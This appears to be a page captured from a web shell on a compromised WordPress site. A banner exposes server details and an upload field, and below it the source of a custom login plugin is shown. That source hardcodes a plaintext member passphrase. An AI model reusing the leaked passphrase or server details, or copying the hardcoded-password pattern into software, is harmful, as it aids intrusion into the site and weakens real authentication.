Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/wp-content/plugins/his-login/lib/ |
Upload File : |
<?php
class authenticate_wordpress extends his_authenticate {
public function __construct() {
parent::__construct();
$head = <<<'BLOCK'
<style type="text/css">
.container-login {
border: 3px solid #53BCB2;
border-radius: 10px;
padding: 20px;
background-color: #53BCB24d;
text-align: center;
width: 356px;
}
.frm select, .frm textarea, .frm input, .uneditable-input, .input-frame {
font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;
width: 100%;
display: inline-block;
background-color: #fcfbfb;
border: 1px solid #d9d5d2;
-webkit-border-radius: 3px;
border-radius: 3px;
padding: 10px 8px;
-webkit-box-sizing: border-box;
box-sizing: border-box;
color: #2a2a2a;
font-size: 16px;
}
.container-login .form-options {
text-align: left;
padding-top: 5px;
}
.container-login .control-group {
text-align: left;
}
.container-login .option-left {
width: 150px;
display: inline-block;
vertical-align: top;
}
.container-login .option-right {
display: inline-block;
vertical-align: top;
text-align: right;
width: 201px;
}
.frm label {
display: inline-block;
margin-top: 8px;
width: calc(100% - 60px);
}
.log-button {
box-shadow: 0px 10px 14px -7px #276873;
background:linear-gradient(to bottom, #599bb3 5%, #408c99 100%);
background-color:#599bb3;
border-radius:8px;
display:inline-block;
cursor:pointer;
color:#ffffff;
font-family:Arial;
font-size:18px;
font-weight:bold;
padding:11px 32px;
text-decoration:none;
text-shadow:0px 1px 0px #3d768a;
}
.log-button:hover {
background:linear-gradient(to bottom, #408c99 5%, #599bb3 100%);
background-color:#408c99;
}
.log-button:active {
position:relative;
top:1px;
}
.option-right a.log-button {
color: #fff;
}
.option-right a.log-button .btn-text {
padding-left: 5px;
}
</style>
<script type="text/javascript">
jQuery(function() {
let $ = jQuery.noConflict();
let $form = $('form.post-password-form');
if ($form.length) {
$('.action-forgot', $form).on('click', function(e) {
var userid = $('#userid').val();
$(this).attr('href', '/~/wordpress-forgot?id=' + encodeURIComponent(userid));
});
$('.action-submit', $form).on('click', function(e) {
e.preventDefault();
let $this = $(this);
$this.closest('form').submit();
});
}
});
</script>
BLOCK;
$button = <<<BLOCK
<div class="frm container-login json">
<input type="hidden" name="authenticate_wordpress" value="1">
<div class="control-group cf-email">
<label for="userid">Email Address</label>
<div class="controls"><input id="userid" name="userid" size="30" type="email" value=""></div>
<div class="status-message" for="userid"></div>
</div>
<div class="control-group cf-pass">
<label for="pass">Password</label>
<div class="controls"><input id="pass" name="pass" size="30" type="password" value="" autocomplete="off"></div>
<div class="status-message" for="pass"></div>
</div>
<div class="form-options">
<div class="option-left">
<a href="/~/wordpress-forgot" title="first, please enter email address above" class="action-forgot" rel="nofollow">Forgot Password?</a><br>
</div>
<div class="option-right">
<a class="action-submit log-button" href="#"><i class="fa-icon fas fa-sign-in-alt"></i><span class="btn-text logo">Login</span></a>
</div>
</div>
</div>
BLOCK;
$this->Name('WordPress')
->Head($head)
->Button($button);
// ->onValueChange();
}
public function getValue($key = 'wp_stuff') {
if ($key == 'wp_stuff') return '*'; // this method is always enabled
return $this->values[$key] ?? '';
}
protected function onValueChange() {
return $this;
}
public function FieldDefinition() {
return [];
}
private function _forgotten_password($user_login) {
// locate user
$user_data = get_user_by('email', $user_login);
if ($user_data === FALSE) return;
if ( ! apply_filters( 'send_retrieve_password_email', true, $user_login, $user_data ) ) {
return true;
}
// Redefining user_login ensures we return the right case in the email.
$user_login = $user_data->user_login;
$user_email = $user_data->user_email;
$key = get_password_reset_key( $user_data );
if ( is_wp_error( $key ) ) {
return $key;
}
// Localize password reset message content for user.
$locale = get_user_locale( $user_data );
$switched_locale = switch_to_locale( $locale );
if ( is_multisite() ) {
$site_name = get_network()->site_name;
} else {
/*
* The blogname option is escaped with esc_html on the way into the database
* in sanitize_option. We want to reverse this for the plain text arena of emails.
*/
$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
}
$link1 = network_site_url("~/wordpress-login?key=$key&login=" . rawurlencode( $user_login ) , 'login') ; //. '&wp_lang=' . $locale;
$link2 = network_site_url( "wp-login.php?action=rp&key=$key&login=" . rawurlencode( $user_login ), 'login' ) . '&wp_lang=' . $locale;
$message = <<<BLOCK
Someone has requested a password reset for the following account:
Site Name: $site_name
Email Address: $user_login
If this was a mistake, ignore this email and nothing will happen. Otherwise choose from the links below :-
To log in now: $link1
Change Password: $link2
These links expire in 24 hours.
BLOCK;
if ( ! is_user_logged_in() ) {
$requester_ip = $_SERVER['REMOTE_ADDR'];
if ( $requester_ip ) {
$message .= sprintf(
/* translators: %s: IP address of password reset requester. */
__( 'This password reset request originated from the IP address %s.' ),
$requester_ip
) . "\r\n";
}
}
/* translators: Password reset notification email subject. %s: Site title. */
$title = sprintf( __( '[%s] Forgotten Password' ), $site_name );
/**
* Filters the subject of the password reset email.
*
* @since 2.8.0
* @since 4.4.0 Added the `$user_login` and `$user_data` parameters.
*
* @param string $title Email subject.
* @param string $user_login The username for the user.
* @param WP_User $user_data WP_User object.
*/
$title = apply_filters( 'retrieve_password_title', $title, $user_login, $user_data );
/**
* Filters the message body of the password reset mail.
*
* If the filtered message is empty, the password reset email will not be sent.
*
* @since 2.8.0
* @since 4.1.0 Added `$user_login` and `$user_data` parameters.
*
* @param string $message Email message.
* @param string $key The activation key.
* @param string $user_login The username for the user.
* @param WP_User $user_data WP_User object.
*/
$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );
// Short-circuit on falsey $message value for backwards compatibility.
if ( ! $message ) {
return true;
}
/*
* Wrap the single notification email arguments in an array
* to pass them to the retrieve_password_notification_email filter.
*/
$defaults = array(
'to' => $user_email,
'subject' => $title,
'message' => $message,
'headers' => '',
);
/**
* Filters the contents of the reset password notification email sent to the user.
*
* @since 6.0.0
*
* @param array $defaults {
* The default notification email arguments. Used to build wp_mail().
*
* @type string $to The intended recipient - user email address.
* @type string $subject The subject of the email.
* @type string $message The body of the email.
* @type string $headers The headers of the email.
* }
* @type string $key The activation key.
* @type string $user_login The username for the user.
* @type WP_User $user_data WP_User object.
*/
$notification_email = apply_filters( 'retrieve_password_notification_email', $defaults, $key, $user_login, $user_data );
if ( $switched_locale ) {
restore_previous_locale();
}
if ( is_array( $notification_email ) ) {
// Force key order and merge defaults in case any value is missing in the filtered array.
$notification_email = array_merge( $defaults, $notification_email );
} else {
$notification_email = $defaults;
}
list( $to, $subject, $message, $headers ) = array_values( $notification_email );
$subject = wp_specialchars_decode( $subject );
if ( ! wp_mail( $to, $subject, $message, $headers ) ) {
$errors = new WP_Error();
$errors->add(
'retrieve_password_email_failure',
sprintf(
/* translators: %s: Documentation URL. */
__( '<strong>Error</strong>: The email could not be sent. Your site may not be correctly configured to send emails. <a href="%s">Get support for resetting your password</a>.' ),
esc_url( __( 'https://wordpress.org/support/article/resetting-your-password/' ) )
)
);
return $errors;
}
return true;
}
private function _getKeyedUser() {
$key = $_GET['key'] ?? '';
$user_login = $_GET['login'] ?? '';
$result = check_password_reset_key($key, $user_login);
if (is_a($result, 'WP_User')) return $result;
error_log(json_encode($result));
}
// this will login as a wp-admin user, and allow access to password-protected pages
private function _performLogin($user_id, $password) {
$credentials = [
'user_login' => $user_id,
'user_password' => $password,
'remember' => FALSE,
];
$user = wp_signon($credentials);
if (is_wp_error($user)) {
$this->Error($user);
$errortext = serialize($user);
setCookie('error', $errortext, 0);
} else {
setCookie('error', '', time() - 365 * 86400);
}
return (is_a($user, 'WP_User')) ? $user : NULL;
}
private function _performPostPassword($password) {
$level = 0;
if (strtolower($password) == 'cooperating in love') {
$level = 1;
} elseif (defined('GUEST_PASSWORD') && $password == GUEST_PASSWORD) {
$level = 1;
} elseif (defined('WIFI_PASSWORD') && $password == WIFI_PASSWORD) {
$level = 1;
} elseif (defined('MEMBER_PASSWORD') && $password == MEMBER_PASSWORD) {
$level = 2;
}
if ($level) {
$parent = $this->Parent();
$parent->authenticated($level); // member area Password
// we do not call setUserCapability() ==> no access to wp-admin area
header('Location: /members/');
exit;
}
}
public function onUrl($url) {
if ($url == '/wp-login.php' && $this->isPost) {
$action = $_GET['action'] ?? '';
$user_id = trim(wp_unslash($_POST['userid'] ?? ''));
$password = $_POST['pass'] ?? '';
if ($action == 'postpass' && $user_id == '' && $password != '' ) {
// log in only for password-protected post - no wp-admin area; no username
return $this->_performPostPassword($password);
} elseif ($action == 'postpass' && $user_id != '' && $password != '' ) {
return $this->_performLogin($user_id, $password);
} else {
return NULL;
}
} elseif ($url == '/~/wordpress-forgot' && !$this->isPost) {
$user_id = trim($_GET['id'] ?? '');
if ($user_id == '') {
$errors = new WP_Error();
$errors->add( 'empty_username', __( '<strong>Error</strong>: Please enter your email address.' ) );
$errortext = serialize($errors);
setCookie('error', $errortext, 0, '/');
header('Location: /members/', TRUE, 302);
} else {
setCookie('error', '', time() - 365 * 86400, '/');
$this->_forgotten_password($user_id);
header('Location: /forgotten-password/', TRUE, 302);
}
exit;
} elseif ($url == '/~/wordpress-login' && !$this->isPost) {
return $this->_getKeyedUser();
}
return NULL; // not intercepted
}
}
return new authenticate_wordpress;